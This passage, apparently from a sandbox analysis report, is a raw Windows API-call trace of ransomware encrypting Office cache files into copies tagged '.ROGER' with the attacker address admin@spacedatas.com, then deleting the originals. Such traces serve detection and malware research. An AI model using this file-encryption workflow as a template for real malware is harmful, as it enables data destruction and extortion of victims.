lstrlenW (lpString=".bz2") returned 4 [0038.797] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.797] lstrlenW (lpString=".7z") returned 3 [0038.797] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.797] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0038.797] lstrlenW (lpString=".dbf") returned 4 [0038.797] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.797] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0038.797] lstrlenW (lpString=".1cd") returned 4 [0038.797] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.797] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0038.797] lstrlenW (lpString=".jpg") returned 4 [0038.797] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.797] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0038.797] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0038.797] lstrlenW (lpString=".doc") returned 4 [0038.797] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.797] lstrlenW (lpString=".docx") returned 5 [0038.797] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0038.797] lstrlenW (lpString=".pdf") returned 4 [0038.797] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.797] lstrlenW (lpString=".xls") returned 4 [0038.797] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.797] lstrlenW (lpString=".xlsx") returned 5 [0038.797] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0038.797] lstrlenW (lpString=".ppt") returned 4 [0038.797] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.797] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0038.797] lstrlenW (lpString=".zip") returned 4 [0038.797] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.797] lstrlenW (lpString=".rar") returned 4 [0038.797] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.797] lstrlenW (lpString=".bz2") returned 4 [0038.797] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.798] lstrlenW (lpString=".7z") returned 3 [0038.798] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.798] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0038.798] lstrlenW (lpString=".dbf") returned 4 [0038.798] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.798] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0038.798] lstrlenW (lpString=".1cd") returned 4 [0038.798] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.798] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0038.798] lstrlenW (lpString=".jpg") returned 4 [0038.798] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.798] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0038.798] lstrlenW (lpString="Setup.xml") returned 9 [0038.798] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0039.129] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=1872) returned 1 [0039.129] CloseHandle (hObject=0x354) returned 1 [0039.129] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0039.129] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0039.129] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0039.129] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0039.129] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0039.130] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0039.130] GetLastError () returned 0x0 [0039.130] ReadFile (in: hFile=0x354, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x750, lpOverlapped=0x0) returned 1 [0039.131] WriteFile (in: hFile=0x330, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x760, lpOverlapped=0x0) returned 1 [0039.132] ReadFile (in: hFile=0x354, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0039.132] WriteFile (in: hFile=0x330, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0039.132] SetEndOfFile (hFile=0x330) returned 1 [0039.132] CloseHandle (hObject=0x330) returned 1 [0039.133] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0039.133] SetEndOfFile (hFile=0x354) returned 1 [0039.134] CloseHandle (hObject=0x354) returned 1 [0039.134] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0039.134] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0039.134] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.134] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.134] lstrlenW (lpString=".doc") returned 4 [0039.135] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.135] lstrlenW (lpString=".docx") returned 5 [0039.135] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0039.135] lstrlenW (lpString=".pdf") returned 4 [0039.135] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.135] lstrlenW (lpString=".xls") returned 4 [0039.135] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.135] lstrlenW (lpString=".xlsx") returned 5 [0039.135] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0039.135] lstrlenW (lpString=".ppt") returned 4 [0039.135] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.135] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.135] lstrlenW (lpString=".zip") returned 4 [0039.135] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.135] lstrlenW (lpString=".rar") returned 4 [0039.135] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.135] lstrlenW (lpString=".bz2") returned 4 [0039.135] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.135] lstrlenW (lpString=".7z") returned 3 [0039.135] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.135] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.135] lstrlenW (lpString=".dbf") returned 4 [0039.135] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.135] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.135] lstrlenW (lpString=".1cd") returned 4 [0039.135] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.135] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.135] lstrlenW (lpString=".jpg") returned 4 [0039.135] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.135] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.135] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.135] lstrlenW (lpString=".doc") returned 4 [0039.135] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.135] lstrlenW (lpString=".docx") returned 5 [0039.135] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0039.136] lstrlenW (lpString=".pdf") returned 4 [0039.136] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.136] lstrlenW (lpString=".xls") returned 4 [0039.136] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.136] lstrlenW (lpString=".xlsx") returned 5 [0039.136] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0039.136] lstrlenW (lpString=".ppt") returned 4 [0039.136] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.136] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.136] lstrlenW (lpString=".zip") returned 4 [0039.136] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.136] lstrlenW (lpString=".rar") returned 4 [0039.136] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.136] lstrlenW (lpString=".bz2") returned 4 [0039.136] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.136] lstrlenW (lpString=".7z") returned 3 [0039.136] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.136] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.136] lstrlenW (lpString=".dbf") returned 4 [0039.136] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.136] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.136] lstrlenW (lpString=".1cd") returned 4 [0039.136] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.136] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.136] lstrlenW (lpString=".jpg") returned 4 [0039.136] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.136] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0039.136] lstrlenW (lpString="GrooveMUI.xml") returned 13 [0039.136] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0039.138] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=913) returned 1 [0039.138] CloseHandle (hObject=0x354) returned 1 [0039.138] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 0x2020 [0039.138] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0039.138] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0039.138] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0039.138] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0039.138] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0039.139] GetLastError () returned 0x0 [0039.139] ReadFile (in: hFile=0x354, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x391, lpOverlapped=0x0) returned 1 [0039.140] WriteFile (in: hFile=0x330, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x3a0, lpOverlapped=0x0) returned 1 [0039.141] ReadFile (in: hFile=0x354, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0039.141] WriteFile (in: hFile=0x330, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xee, lpOverlapped=0x0) returned 1 [0039.141] SetEndOfFile (hFile=0x330) returned 1 [0039.141] CloseHandle (hObject=0x330) returned 1 [0039.141] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0039.142] SetEndOfFile (hFile=0x354) returned 1 [0039.142] CloseHandle (hObject=0x354) returned 1 [0039.142] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0039.143] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 1 [0039.143] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0039.143] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0039.143] lstrlenW (lpString=".doc") returned 4 [0039.143] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.143] lstrlenW (lpString=".docx") returned 5 [0039.143] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0039.143] lstrlenW (lpString=".pdf") returned 4 [0039.143] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.143] lstrlenW (lpString=".xls") returned 4 [0039.143] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.143] lstrlenW (lpString=".xlsx") returned 5 [0039.143] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0039.143] lstrlenW (lpString=".ppt") returned 4 [0039.143] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.143] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0039.143] lstrlenW (lpString=".zip") returned 4 [0039.143] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.143] lstrlenW (lpString=".rar") returned 4 [0039.143] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.143] lstrlenW (lpString=".bz2") returned 4 [0039.143] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.143] lstrlenW (lpString=".7z") returned 3 [0039.143] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.143] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0039.143] lstrlenW (lpString=".dbf") returned 4 [0039.143] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.143] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0039.143] lstrlenW (lpString=".1cd") returned 4 [0039.144] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.144] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0039.144] lstrlenW (lpString=".jpg") returned 4 [0039.144] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.144] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0039.144] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0039.144] lstrlenW (lpString=".doc") returned 4 [0039.144] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.144] lstrlenW (lpString=".docx") returned 5 [0039.144] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0039.144] lstrlenW (lpString=".pdf") returned 4 [0039.144] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.144] lstrlenW (lpString=".xls") returned 4 [0039.144] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.144] lstrlenW (lpString=".xlsx") returned 5 [0039.144] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0039.144] lstrlenW (lpString=".ppt") returned 4 [0039.144] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.144] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0039.144] lstrlenW (lpString=".zip") returned 4 [0039.144] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.144] lstrlenW (lpString=".rar") returned 4 [0039.144] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.144] lstrlenW (lpString=".bz2") returned 4 [0039.144] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.144] lstrlenW (lpString=".7z") returned 3 [0039.144] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.144] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0039.144] lstrlenW (lpString=".dbf") returned 4 [0039.144] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.144] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0039.144] lstrlenW (lpString=".1cd") returned 4 [0039.145] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.145] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0039.145] lstrlenW (lpString=".jpg") returned 4 [0039.145] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.145] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0039.145] lstrlenW (lpString="Setup.xml") returned 9 [0039.145] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0039.145] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=1452) returned 1 [0039.145] CloseHandle (hObject=0x354) returned 1 [0039.145] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0039.145] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0039.145] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0039.145] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0039.145] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0039.145] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0039.146] GetLastError () returned 0x0 [0039.146] ReadFile (in: hFile=0x354, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x5ac, lpOverlapped=0x0) returned 1 [0039.147] WriteFile (in: hFile=0x330, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0039.148] ReadFile (in: hFile=0x354, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0039.148] WriteFile (in: hFile=0x330, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0039.148] SetEndOfFile (hFile=0x330) returned 1 [0039.148] CloseHandle (hObject=0x330) returned 1 [0039.149] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0039.149] SetEndOfFile (hFile=0x354) returned 1 [0039.150] CloseHandle (hObject=0x354) returned 1 [0039.150] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0039.150] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0039.150] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.150] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.150] lstrlenW (lpString=".doc") returned 4 [0039.150] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.150] lstrlenW (lpString=".docx") returned 5 [0039.150] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0039.150] lstrlenW (lpString=".pdf") returned 4 [0039.150] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.150] lstrlenW (lpString=".xls") returned 4 [0039.150] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.150] lstrlenW (lpString=".xlsx") returned 5 [0039.150] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0039.150] lstrlenW (lpString=".ppt") returned 4 [0039.150] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.151] lstrlenW (lpString="C:\\MSOCache\\All 